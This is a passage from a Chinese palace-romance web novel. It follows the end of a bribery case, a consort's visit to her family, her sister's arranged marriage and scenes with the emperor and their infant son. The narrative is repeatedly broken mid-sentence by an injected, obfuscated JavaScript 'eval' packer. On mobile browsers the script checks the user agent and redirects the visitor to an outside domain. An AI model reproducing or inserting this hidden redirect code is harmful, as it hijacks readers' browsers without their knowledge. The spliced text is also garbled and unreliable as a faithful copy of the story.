而许海道因为在案件审理时认罪态度良好,又一直口口声声痛哭流涕表示他是受到了何严的蛊惑,是从犯。并且最重要的是,他主动将自己收受的所有贿赂都交给了都察院,认罪态度不可谓不良好。所以萧祈安权衡了很久,最终决定将他罢官抄家,打了他一百棍将他全家连夜赶出了金州城。 而所谓有罚就有赏,此次辽州科举舞弊案之所以能够如此迅速精准地告破,与各个部门以及重要人物的努力密不可分。 恒王赏赐黄金万两,且萧祈安特许他的爵位可以**罔替,不用逐代削减,这对于一个亲王来说,已经是无尚的荣耀了。 夏明博更是由大理寺少卿升官至大理寺卿,如今已经是大理寺的一把手了。 而因着这件案子是夏宽首先发现并且上报迅速,更是功不可没。萧祈安特意下令让他提前结束外放,升任为正三品侍中,可以参与朝廷决策,为皇帝提供重要的建议。 至此,轰动一时的辽州科举舞弊案,终于告一段落。 *** 承乾宫。 夏韶宁已经差不多一个月没见过萧祈安了。 明明两个人都生活在这偌大的皇宫里,但是彼此偏偏就是硬生生地忍着不见面。 这会儿的萧祈安坐在床榻上,面前是假装在看书的夏韶宁。 “行了别装了,你书都拿反了。” 萧祈安憋着笑,语气显得有些滑稽。 因着辽州舞弊案,萧祈安这段时间都很累,心情也一直很不畅快。 明明今日来承乾宫之前他就想好了,一定要夏韶宁主动来哄他他拿个乔才同这丫头说话。可是没想到这会儿坐在这丫头面前,看着她这副样子,他还是忍不住笑了。 “陛下您还笑,臣妾都给您吓坏了!生怕您说让臣妾的父亲后果自负是真的!若是臣妾的父亲真的没把这案子破出来,您不会直接要了他的脑袋吧?” 夏韶宁将手中的书甩了下来,瞪大眼睛看着眼前一直努力憋笑的萧祈安,面上的表情很严肃。 “朕既然对你父亲下了死命令,那必定就是为他留好了退路。恒王和你二哥不都一直在帮着他吗?这若是再破不出来,那他哪里能配得上朕给他的正三品侍中的官职?” 萧祈安伸出手来,一把就将夏韶宁捞进了怀里。 “陛下为何如此相信臣妾的父亲同这件事情毫无关系?” 夏韶宁靠在萧祈安的怀里,顿了好一会儿,最后才喃喃问道。 其实她也不明白萧祈安对夏家的信任到底是从何而来的。说起来,那何才人的父亲面上看着也是个憨厚老实之人,谁能想到他背地里居然如此大胆,****的数额如此巨大呢? “就凭着在朕还没坐上这个皇位之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505118|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏家就一直默默站在朕的身后支持朕。就凭着……朕自从当上皇帝以后一直这样随心所欲地做了一些朕自己都觉得难以理解的事情,但是宁儿却理解了。” 说到这里,萧祈安的语气便软了下来。 夏韶宁不禁怔住了。 在今日之前,夏韶宁都觉得萧祈安是个不念旧情的人。她一直觉得他似乎已经忘记了自己陪着他从微时走到现在的那份情谊。 可是如今,萧祈安同她说了这么多,她才明白,他没有忘。 只不过感动归有些感动,但是动心嘛……那是动不了一点的。 夏韶宁甚至在心里想着:你对我好,我也会用自己的方式回报你。比如说帮你管理好这个后宫,处理你那群麻烦女人时不时闹出来的大事小事;好好教导我们的孩子;甚至于是……尽可能的忍耐一下那个总是没事找事的母后。 至于其他的,不好意思,那真的多一点都没有了。 感激和感情,在她夏韶宁的心里那还是分的清清楚楚的。 “其实臣妾没有陛下说的那么好,只是陛下若是真的觉得臣妾好,那能不能答应臣妾一件事儿?” 夏韶宁略略思考了一会儿,便从萧祈安的怀里探出了脑袋。 “臣妾同父母亲已经三年没见了,您能不能让臣妾……回家省一趟亲?” 夏韶宁话一出口,便仔细观察着萧祈安的面色,眼见着他不说话也没什么表情,她马上又开口了。 “臣妾知道这个要求可能有些过分,若是实在不行……您能不能特许让臣妾的母亲和姨娘进宫一趟,臣妾实在是思念家人思念的厉害……” “哈哈哈哈哈哈……” 谁知夏韶宁的话还没说完,夏祈安便终于忍不住放声大笑起来。 “朕的宁儿什么时候变得这么不自信起来了,你是贵妃,出宫省亲而已,不是大事。” “你父亲过几天就要回到金州了,到时候让殿中省好好预备着,你就风风光光、安安心心地带着昀儿一道出宫省亲便是!” 第236章 贵妃省亲(上) 最近整个后宫里被讨论最多的事情,非昭贵妃不日便要出宫省亲莫属了。 殿中省自从得到了萧祈安的下的旨意以后便开始紧锣密鼓地筹备贵妃省亲要准备的事务。 而夏韶宁本人更是从心里觉得又激动又喜悦。 虽说夏韶宁是穿越到这个世界来的,只是经过这么多年的相处下来,又有着夏家人对她的各种真心的关心,她早就已经把夏府的那些亲人们当作自己真正的亲人了。 “昀儿,咱们明日就要去见外祖父与外祖母了,你开不开心啊?” 这会儿的夏韶宁正抱着六皇子坐在廊下看鹦鹉,六皇子正激动地要伸手去抓那鹦鹉的尾巴,那鹦鹉被逼急了,最后居然大喊了一句——“不要!” 逗得夏韶宁和六皇子这母子俩止不住地哈哈大笑起来。 “明日要带去夏府的东西都准备好了吗?”夏韶宁抬头看了看正在忙忙碌碌的惜春与含秋,随口问道。 “娘娘放心,您准备的东西奴婢都收拾好了,等明日出宫的时候让内侍们搬上马车便是了。”惜春一边忙着手上的事情,一边回道。 “这一晃就这么多年过去了,蕙心与兰芷年纪也都不小了呢。”夏韶宁将目光从远处收了回来,定格在了站在一旁的蕙心与兰芷身上。 “娘娘这是嫌弃奴婢们了?”兰芷对着夏韶宁打趣道,“奴婢们还年轻着呢!” “还记得之前我在潜邸的时候就答应过你们,等到我站稳脚跟的时候,就许你们嫁人。谁知道我最后居然进了宫,当了贵妃,倒是把你们两个给耽误了。” 夏韶宁今年都二十二了,兰芷与蕙心比她还大两岁,今年都已经二十四了。 这个时代的女子,二十四岁还没嫁人,那真是很少见的了。 “娘娘说什么呢,如今六皇子还未满周岁,着后宫里的女子各个心思都不单纯,奴婢们怎么能离开您出宫嫁人呢?” 听出了夏韶宁话里的意思,蕙心急忙就拉着兰芷跪了下来。 “小孩子长得是最快的,而这后宫里的女子也总会越来越多的。难不成你们还真想这辈子都不嫁人,在这一眼望不到头的深宫里当一辈子的奴婢不成?” 夏韶宁有些无奈地看了蕙心一眼,便将她与兰芷从地上扶了起来。 “那张川柏是个有出息的,为了辛夷硬生生通过了今年太医院的招考,也成了太医,今年年底他们两人就该成亲了。” “你们两人同辛夷的年纪差不多,她都能脱离奴籍开开心心地去宫外过自己的日子,难道你们两个就不想过这种日子吗?” 夏韶宁的这番问话,倒是将蕙心与兰芷给问住了。 其实说实话,这个世界上哪里会有人心甘情愿地当奴婢的呢?从前是因为她们的家境不好,这才被卖进了夏府当奴婢。 只是好在遇到了夏府这么好的主家,又遇到了娘娘这么好的主子,愿意把她们当个人看。 若是被卖进了那种黑心肠的人家,说不定她们早就没命了。 正因为这样,她们两人才想一直留在娘娘身边报恩。可是今日娘娘提起了辛夷,两个人的心里却又有了一丝不太一样的想法。 的确,谁不想脱离奴籍,出宫嫁人去过自己的日子呢? 许是看出了两人面上的纠结,虽然她们没有说话,夏韶宁还是明白了。 “其实我这次出宫也有一部分原因就是为了你们,如今父亲的官职升了许多,找几户家境殷实,为人老实的人家不是难事。待我明日回府同母亲说一说,争取早日让你们两人脱离奴籍,出宫去过自己的日子!” “奴婢们……谢过娘娘了!”听得夏韶宁着一字一句都是为了她们两人,一旁的蕙心与兰芷早就红了眼眶。 “无妨,我总希望我身边的人,都能好好的。这倒是也不枉费我来这个世界一遭了!” *** 时间一晃就来到了第二日,夏韶宁带着六皇子坐上了去往夏府省亲的马车。 显庆朝时的珍贵妃,因为家世显赫又颇得先帝宠爱,就曾出宫省亲过。 所以这一次夏韶宁出宫省亲,殿中省便是比对着当初珍贵妃省亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505119|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规模来操办的。 只是夏韶宁在私底下曾吩咐过殿中省,排场不可过于奢华。所以这次夏韶宁省亲比较珍贵妃当时,还是稍微降了一些规格。 不过就算这样,陪伴贵妃省亲的队伍还是有宫女、内侍、护卫拉拉杂杂几十人,一路浩浩荡荡地就往夏府去了。 与此同时,夏府门口。 夏宽是一周前才带着郝氏与付氏回到金州城的,前几日刚刚前往吏部受封了正三品侍中,回府就得到了贵妃娘娘今日要省亲的消息。 于是他急急忙忙吩咐家中下人将府中好好打扫翻修了一番,也不至于丢了夏府与昭贵妃的脸面。 而值得一提的是,今日的长乐长公主萧云薇也带着自己的儿子夏卓昱同夏明博一道回了夏府。 所以这会儿的夏府门口,足足站了几排人。 “老爷,这天儿也不热啊,您的脸怎么这么红啊?”郝氏站在夏宽身边,瞧见自家老爷的脸肉眼可见变得通红起来,心中疑惑。 “咦,母亲这都看不出来,父亲这是紧张了!”夏明朗瞥了一眼夏宽那红得和熟透了的虾似的脸,忍不住打趣了一声。 “当初外放辽州的时候,贵妃娘娘刚刚入宫,什么都还没有安置好,我就走了。这一走就是三年,再回来,她孩子都有了。” 说到这里,夏宽重重地叹了一口气。 “说起来都是我这个当父亲的对不住她,在她遇到困难的时候也没办法帮她解决,反而要她这个做女儿的一次又一次帮着我解决问题,哎……” 夏宽虽然不知道夏韶宁这三年经历了什么,但是并不妨碍他心疼自己这个女儿。 “好了,宁丫头……哦不,贵妃娘娘回府省亲是好事儿,你叹个什么气!” 眼见着众人听完夏宽这句话都不出声了,站在最前头的祖母赵氏忍不住敲了敲自己手中的拐杖。 “既然知道贵妃娘娘不容易,今日她回府咱们就好好陪陪她。她能回来这一趟,想来肯定花了不少心思,咱们可别让她觉得回来这一趟回来的不值得才好!” 第237章 贵妃省亲(中) 说话间,省亲的队伍便在夏府门前停了下来。 夏韶宁先是将六皇子小心翼翼地交给早就候在一旁的奶娘,随后便急不可耐地在蕙心的搀扶下从马车上走了下来。 她看了看站在府门口一脸激动望着自己的亲人们,又抬起头来看了看那依旧熟悉的门匾,内心忽然就安定了下来。 还好,她还有亲人。还好,除了皇宫,她还有一个属于自己的家。 “给昭贵妃娘娘请安。” 虽然门口的夏家人看到夏韶宁一个个都很激动,但是该有的礼数还是得做足的。 毕竟今日来了许多皇宫里的人,没得到时候回了宫让人说贵妃娘娘的母家人不懂礼数。 “快起来,都快起来!”眼见着如今已经过了古来稀的祖母要给自己下跪,夏韶宁急忙眼疾手快地在赵氏的膝盖刚刚触地的时候就将她从地上扶了起来。 “本宫这就随祖母、父亲回府了。夏府在偏厅安排了歇脚的地方,就请福公公带着大家前去休息吧。傍晚的时候,本宫自会回宫。” 夏韶宁转过头来,对着殿中省的首领内侍吩咐了一声,说话的语气显得很和气。 “贵妃娘娘客气了,奴才明白。”那小福子也是个人精,眼见着圣上最宠爱的昭贵妃娘娘对自己如此客气,他只会更恭敬。 一番繁琐的礼仪之后,夏韶宁终于能够单独和家人们坐在一起说话了。 “奶娘,把六皇子抱过去,给祖母还有父亲母亲瞧瞧!”刚坐定,夏韶宁就对奶娘吩咐了一声。奶娘会意,抬手就将还在吐泡泡的六皇子放在了赵氏的膝盖上。 “哟,这小家伙长得真壮实!”赵氏伸出手来掂了掂六皇子,这才发现自己好像都抱不动他了。 “这六皇子的面相一看就是有福气的,还是咱们宁儿会生!”郝氏看着正朝着自己咧着嘴笑着的六皇子,感觉自己的心都要被融化了,“快看呐!他对着我笑啦!” 夏宽看着眼前的六皇子,又看了看眼前仿佛比三年前要瘦了一些的夏韶宁,说话的语气里都透着满满的心疼,“贵妃娘娘这几年,过得很辛苦吧?” “父亲,这是咱们自己家,又没有外人,您非要喊得这样见外吗?”夏韶宁抬起头来看着夏宽,明显不满意他对自己的称呼。 “公爹,咱们一家人三年没见了,您放松些。”这会儿的萧云薇走上前来,对着仍旧有些紧绷的夏宽笑着道。 “父亲在辽州呆了三年,怕是时时刻刻都紧绷着神经。这会儿才回到家中,宁妹妹又从宫里回府省亲,难免有些改不过来了。” 夏明朗一向是个儒雅稳重的,这会儿说起话来也是让所有人听得舒服。 “说起来,父亲母亲和姨娘在辽州这三年可好?前些日子可是把我给吓坏了!” 听得大哥提起辽州,夏韶宁不禁又想到了前段时间的辽州科举舞弊案,仍觉得心有余悸。 “哎,谁成想我在辽州勤勤恳恳、兢兢业业做了三年的州令,差一点就毁在陈庆达那个小人的手上了!” 提起如今早已身首异处的陈庆达,夏宽还觉得十分气愤。 “他当初不止一次找到我说他上头有人,也同我透露出了有那方面不轨的心思。只怪我没有早些发现苗头,差点就栽在他身上了!” “父亲也不用过分生气,其实也多亏了您第一时间发现那些卷子有问题,及时写了奏折给圣上阐明此事,不然这件事情还不知道要到什么时候才能被发现呢!” 夏韶宁开口安慰起了夏宽。 “父亲如今已经回到金州,又已经官至正三品侍中。我与大哥也在大容担任重要的职务。更重要的是,宁儿在宫中盛宠不衰,如今还生下了六皇子。想来如今外头还不知道有多少人在盯着咱们夏府呢!” 如今的夏明博早就已经不是几年前那个口无遮拦,想到什么说什么的愣头青了。他的官升得越高,他要考虑的事情也就越多。 “二哥说的是,这也正是我今日要回府的原因。”听得夏明博提到了重点,这会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512097|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的夏韶宁,也不禁正了脸色。 “其实我今日来要说的话很简单,咱们夏府完全是依靠着圣上才有了今天这般地位,所以我希望咱们全家人都只有一条心,只为圣上做事。” 夏韶宁其实一直都是个居安思危的人,她绝对不是一个会沉溺在眼前的安稳里的人。 如今看来,萧祈安的确十分信任她,信任她的父兄。可是萧祈安如今才二十六岁,他还要做许多年的皇帝,谁知道未来的他又会怎么看她们夏家呢? 他是大容的君主,也是大容权利最盛的人。他能将她的母家捧得高高的,也就能让他们从顶端摔下来。 所以为今之计,只能是嘱咐夏家的所有人,忠于萧祈安,如从前一般不得随意站队,方能保证夏家走得更远。 最起码在她的昀儿长大之前,一个拥有清流之名的外家,真的很重要。 “你们说的话,我都明白。”听得子女们的嘱托,沉默了好一会儿,夏宽才郑重地点了点头。 “我回到金州城不过才一个礼拜,其实已经有许多府里给我递了邀帖和拜帖,想约我去他们的府上一叙或是要来夏府拜见我。只是我想了许久,只选了从前本就同我交好的几家应了。” “呵,人就是这样,你到了高位,自然就有许多从前看都不愿看你一眼的人争着抢着来巴结你。” 夏韶宁想到自己还是贤王侧妃时,母亲带着冉儿去那些四品以上官员家中参加宴会都会被人排挤,她就从心里觉得好笑。 “我一直觉得父亲在看人这块儿还是很准的,所以也相信父亲的选择。” 顿了会儿,夏韶宁便笑着开口了。 “只是说起这府与府之间的交往,我今日还有一件事情要提。” 说到这里,夏韶宁便对着一直坐在位置上沉默不语的夏韶冉摆了摆手,示意她到自己身边来。 “父亲一去辽州三年,冉儿的婚事都被耽误了。如今她都快十八了,父亲也是时候该考虑一下她的婚事了。” 第238章 贵妃省亲(下) 夏宽抬起头来仔细端详起了眼前这个马上就快十八岁的小女儿,忽然就在心中重重地叹了一口气。 说实话,其实夏宽一直觉得自己的子女缘是不错的。 大儿子憨厚稳重,小儿子正直勇敢。大女儿自是不必说,在家里的时候就是个从不让自己吃亏的性子。 唯有这个幺女,从小沉默寡言不爱说话,性子软弱又胆小。但凡自己大声同她说一句话,她都能憋着一口气自己躲在一旁哭半天。 其实三年前他外放辽州之前就想给夏韶冉定一户人家的。只是那个时候正值宫变,这丫头又被那杨家二小姐的死给狠狠吓着了,于是便怎么都不肯松口嫁人。 于是这件事就这么搁下了,这一搁就是三年。 “其实我心中倒是有个人选,只是不知道你们觉得怎么样,也不知道冉儿自己心里是怎么想的。” 夏宽抬起头来看了一眼夏韶宁,又看了一眼站在她身边一直低着头不说话的夏韶冉,悠悠地开口了。 “父亲的眼光一直都是最好的,想当年替大哥看中如此好的大嫂不就是证明吗?” 听得夏宽的话,夏韶宁笑着看了一眼站在一旁的大嫂柳氏。 看得柳氏倒是不好意思地低下了头。 “前段时间调查舞弊案的时候,我曾与御史台打了些交道,其中有个正七品的监察御史,叫做……韩卓君的,我瞧着是个不错的。”夏宽道。 “哦,我知道这个人。”夏宽刚一开口,夏明博就立刻接过了话头。 “这小子倒是有些像从前的我,不过比从前的我要会为人处世多了。御史台的人对他的评价都不错,只不过……” 说到这儿,夏明博的面上忽然露出了一丝难以言说的神情。 “难不成他是个鳏夫?”看着夏明博这个样子,夏韶宁又开始发挥她的发散思维了,“这怕是真有点不太好……” “说什么呢,父亲怎么可能给冉儿找个鳏夫?”夏明博有些好笑地瞥了一眼夏韶宁,继续道,“我是想说他的家世似乎不太好,而且他的老家并不在金州,也从没见过他提过自己的父母亲,不知是不是父母已经不在了。” “这有什么的,无父无母还能靠自己的本事进入御史台,由此可见他还真是个有能力的。况且冉儿的性子本来就弱,没了公婆在身边日日管着,对她来说是好事不是坏事啊!这门亲事,我看不错!” 夏明博的话刚说完,夏韶宁的眼睛立刻就亮了起来。 她不禁想起了住在永寿宫那个总是有事没事给她找麻烦的太后,她都不敢想如果萧祈安父母双亡,她如今的日子该有多么好过啊! “冉儿,你怎么想?”一家人讨论了好一会儿,夏韶宁这才转头问了问站在她身旁一直没开口的夏韶冉。 “父亲和哥哥姐姐都觉得好的人,那必定差不了。家世什么的我不在乎,我只希望成婚后他能尊重我,对我好就行了。” 其实这三年,夏韶冉也在大家看不见的地方默默成长了很多。她总会时不时想起从前长姐同她说的那些话,她便渐渐明白这个世界上能拯救自己的,唯有她自己。 “行,既然这样,那等我今日回宫同圣上说说这件事儿,父亲与兄长这几日也好好打听一下这韩卓君的家庭背景到底是怎么样的。到时候若是两边都没意见,我就去向圣上求个赐婚,圣上御赐的婚事,想来那韩卓君绝对不敢对冉儿不好。” 想到这里,夏韶宁的脸上才渐渐放松了下来。 接下来,夏韶宁也没忘记拉着郝氏让她帮着留意一下有没有适合兰芷和蕙心的人家,郝氏也是满口应了。 安排好了所有的事情,一家人又热热闹闹地用了个午膳,夏韶宁便到了该回宫的时候了。 小福子倒是没有催促夏韶宁,只是带着贵妃仪仗恭恭敬敬地站在夏府门口等着贵妃娘娘。 “祖母,父亲,母亲,姨娘,我这就回宫去了,你们一定要多多保重身体。” 夏韶宁站在门口看着一个个满脸关切看着自己的家人,不知为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512098|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鼻头忽然酸了。 “娘娘和六皇子都要好好的,好好的。” 赵氏拉了拉夏韶宁的手,这会儿的话中也带了些哽咽。 夏韶宁郑重地对着赵氏点了点口,又看了一眼家人们,这才依依不舍地坐上了回宫的马车。 坐在马车上,夏韶宁的心思也并没有停止。 她在心中暗暗发誓,总有一天,她要让她的家里人随时能风风光光地入宫来同她说话叙旧。无论是她还是她的家人,再也不用受亲人间想见不得见的痛苦。 *** 夏韶宁省亲回来以后,便去了紫宸殿向萧祈安报备。 只不过她来得似乎有些不巧,因为这会儿的仪淑妃正在萧祈安的桌案前替他磨墨。 “回来了?”眼见着夏韶宁入了殿,萧祈安头也不抬地问了一声。 “是,臣妾省亲回来了,想着来同陛下报备一下,只不过如今看来臣妾似乎来得不太巧呢。” 夏韶宁的脸上保持着得体的微笑,眼神却有意无意地往仪淑妃的身上瞟。却见她的面上没有任何其他的表情,仿佛真的只是在专心致志地提萧祈安磨墨。 “哦,仪淑妃来给朕送点心,刚好朕在读《管子》,其中遇到了有些疑惑的部分。仪淑妃正好也读过这本书,就浅浅与朕讨论了一番。” 萧祈安淡淡地回了一句。 “臣妾学识浅薄,哪里配同陛下讨论问题。只要陛下不嫌弃臣妾见识粗鄙,肯多同臣妾说几句,就是臣妾的福气了。” 听得萧祈安的话,刚刚还在磨墨的仪淑妃便抬起了头。她倒是也不看夏韶宁,只是扬起笑脸对着萧祈安笑得温婉。 而这厢的夏韶宁根本懒得看仪淑妃这有些假惺惺的笑,她也越过了仪淑妃,直接就对着萧祈安道,“臣妾宫里的小厨房今日做了好吃的,陛下若是不忙,晚些时候便来臣妾宫里用个晚膳吧。” 说到这里,夏韶宁便也笑了起来。 “昀儿最近可认人了,陛下可别错过他认父皇的好时机哦!” 第239章 父子 “昀儿能认人了?”听得夏韶宁提起六皇子,萧祈安的面色瞬间柔和了起来。 “是呢,不光能认人了,最近还总是发出些咿咿呀呀的声音呢!”提起六皇子,夏韶宁的笑容都显得真切了不少。 “好,晚些时候朕忙完了就去承乾宫陪你们母子俩用晚膳。”萧祈安收了书,笑着对着夏韶宁点了点头。 “臣妾真羡慕贵妃娘娘啊,生了六皇子这么可爱的孩子。说起来,也不知道臣妾哪一天才能有个这么可爱的孩子呢?” 看着夏韶宁与萧祈安聊得火热,仪淑妃便也不甘心地插了一嘴。 “点心送到了,若是没事你就先回宫吧。”同夏韶宁说了一会儿话,萧祈安差点都忘记旁边还站了个仪淑妃。 他抬起头来看到仪淑妃一眼,见她听得自己的话后面色有些变化,到底还是补了一句,“有空朕也会去瞧你的。” 仪淑妃低下头咬了咬嘴唇,最终还是行了个礼离开了紫宸殿。 “陛下这日子过得舒服呢,日日都有美人在侧红袖添香。” 想到之前听到宫人说的,最近萧祈安经常轮流让仪淑妃和范充媛来紫宸宫伺候笔墨,夏韶宁便忍不住对着萧祈安揶揄了一句。 “朕就算不喜欢她们,也得顾着她们身后的母家。就如你之前说的,总不能把人选进宫里又让人独守空房吧。”在夏韶宁面前,萧祈安向来习惯有什么说什么。 “知道啦,臣妾又没说什么。”夏韶宁对着萧祈安行了一礼,留下一句“陛下早些来哦”,就转身离开了。 倒是留下萧祈安站在原地看着她离开的背影,忍不住笑了。 晚间,承乾宫。 萧祈安一进了内殿,瞧见的就是六皇子正在铺满羊绒地毯的地板上飞速地爬着。 夏韶宁则是直接脱了鞋子,跪在地上拿着六皇子最喜欢的布老虎在前头“引诱”他。 “昀儿快爬,爬到母妃这里来就给小老虎给你玩儿!” “哎呀,昀儿真棒!” 夏韶宁软软糯糯的声音响彻了整个殿内,听得萧祈安莫名觉得心情变得特别好。 “你这小子可真是命好,有个这么好的母妃!你母妃对着朕说话都没这么温柔过呢!” 萧祈安索性也将鞋子脱了,跨上地毯直接就把六皇子举过了头顶。 众人本以为六皇子会害怕,谁知道这小家伙直接抓住了萧祈安衣裳上的穗子,“咯咯咯”的笑得一声比一声大。 “好小子,是个胆大的!”萧祈安又将六皇子举高了一点,见他还是不害怕,这才将他放回了地上。 夏韶宁全程站在一旁看着父子俩的互动,一句多余的话都没有说。 她能看得出六皇子很喜欢他的父皇,而他的父皇也很喜欢他。 她不禁在心中想着:前世自己从没得到过的父爱母爱,她终于凭借自己的努力给了自己的孩子了。 “用膳吧,朕饿了。”萧祈安把六皇子交给了奶娘,转头拉过夏韶宁的手就坐到了早已经摆满膳食的桌前。 “陛下饿了就多吃些,今日做的都是您喜欢吃的菜。”夏韶宁拿起筷子夹了一筷子萧祈安爱吃的牡丹鱼片,细心地帮他把鱼刺都给挑了,这才放进了他的碟子里。 “嗯?无事献殷勤,后面那句话怎么说来着?” 萧祈安一口将碟子里的鱼片吃了,这才调笑着看了夏韶宁一眼,“宁儿是不是有事儿要求朕?” “陛下这话说的,什么叫求啊,臣妾这是有事儿同您商量!” 眼见着自己的目的被拆穿,这会儿的夏韶宁笑得跟朵花儿似的。 “陛下日理万机的,不知是否知晓御史台有个叫韩卓君的监察御史?” “哦,你说他啊,朕知道。”出乎夏韶宁意外的,萧祈安居然还真的知道这个人。 “这小子是个有本事的,他家祖上好像是浔州的,早些年浔州发洪水把他家的屋子给淹了,他父母兄妹都去世了。” “这小子靠着自己的本事只身一人一路求学,最终在朕登基那年的殿试里中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实这些年来夏韶宁很少如此明确地在萧祈安面前提什么要求,这一次找到自己也是为了妹妹的婚事。所以既然如今她开了这个口,萧祈安便立刻答应并且执行了起来。 他甚至特意将韩卓君一个七品官员召到了紫宸殿,将这件事情亲自告知了他。 萧祈安心中想着男女婚配这等事情最重要的还是要本人愿意,另一方面,萧祈安也想看看这韩卓君面对这般“天上掉馅儿饼”的事情会是个什么样的反应。 结果当然是在萧祈安的意料之内,韩卓君得知自己即将要娶的人是贵妃的娘家小妹,面上的表情既没有过分激动也没有十分不情愿。 他先是感谢圣上与贵妃如此看重自己,随即则是不亢不卑地站在萧祈安的面前表示他愿意,也表明了他会对夏韶冉好的决心。 萧祈安对他的表现很满意,当场就写下了赐婚的圣旨,就定在年底完婚。 …… “赐婚的圣旨拟好了,朕一个时辰前已经让张全和去你家里宣旨了,这会儿可是安心了?” 今日下了大朝会,萧祈安便特意来了一趟承乾宫告诉夏韶宁这个消息。 “昀儿叫母妃,母……妃,父皇,父……皇!诶,昀儿真棒!哎,陛下刚刚说什么来着,哦……陛下也棒!” 夏韶宁这会儿正在教六皇子说话,嘴一快居然连同萧祈安也一道夸奖了,倒是弄得萧祈安有些哭笑不得。 “朕瞧着你在这小子身上花的精力可是比从前在朕身上花的精力多多了,弄得朕都有些吃这小子的醋了!” 萧祈安讪笑一声,顺手就将六皇子从夏韶宁的手中接了过来。而就是那么巧的,六皇子爬到萧祈安的身上,忽然就口齿不清地喊了一声“父……父……” “哎呀,我们昀儿会叫父皇了!陛下,您听见了吗?昀儿会叫父皇了!” 虽然六皇子只不过模模糊糊地说了个“父”字,但是还是把夏韶宁给激动坏了。 “哪儿叫得父皇,不就是叫了个父字,瞧你这没出息的样!”萧祈安瞥了一眼激动的夏韶宁,虽然嘴上是这么说的,但是他那扬起的笑脸还是出卖了他——他很高兴。 “说起来咱们昀儿下个月就要满周岁了,时间过得可真快啊。”夏韶宁摸了摸六皇子如今已经长得很好的头发,语气里都是感叹。 “嗯,你这一说我才想起来,昀儿的周岁宴,你吩咐殿中省好好筹备了没有?”萧祈安顺手拿过了小几上的一颗葡萄,剥好皮掰了一小块就塞进了六皇子的嘴里。 “昀儿非嫡非长的,当初的洗三宴已经办的很隆重了。所以臣妾想着这次周岁宴就请几个与臣妾关系好的宫妃们在承乾宫摆两桌便算了。”夏韶宁不紧不慢地回了一句。 “你什么时候也在乎这些嫡嫡庶庶的东西了?”听得夏韶宁的话,萧祈安不赞同地摇了摇头。 “昀儿是朕最疼爱的孩子,他的周岁宴当然要办得热热闹闹的,怎么能随便在你宫里摆两桌就算了呢?” “那陛下要是觉得不好,不然就在汀兰水水榭摆上几桌吧!哪儿风景好,孩子们应当也喜欢。” 看着萧祈安明显不赞同自己的想法,夏韶宁仔细想了一会儿,最终还是想出了这么个折中的方法。 “席面就按照一般皇子公主生日宴的规格就好了,人也不要请太多了,就请一请后宫里的宫妃和皇子公主们。唔……能让长公主带着昱公子也来一趟吗?昀儿可喜欢昱公子这个哥哥了!” “你都这么说了,朕要是还挑毛病,岂不是显得朕很刻薄?”听着夏韶宁考虑得如此周到,萧祈安也就没别的话说了。 “那日朕也来。”萧祈安一手抱着六皇子,另外一只手自然而然地牵住了夏韶宁的手,“谢谢你给朕生了个这么好的孩子。” “不过一个不到周岁的娃娃,哪里就知道好不好的。”听得萧祈安的话,夏韶宁则是笑着摆了摆手,“臣妾没有别的愿望,只盼望我儿这辈子能健健康康、平平安安的,这就是臣妾这个做母妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 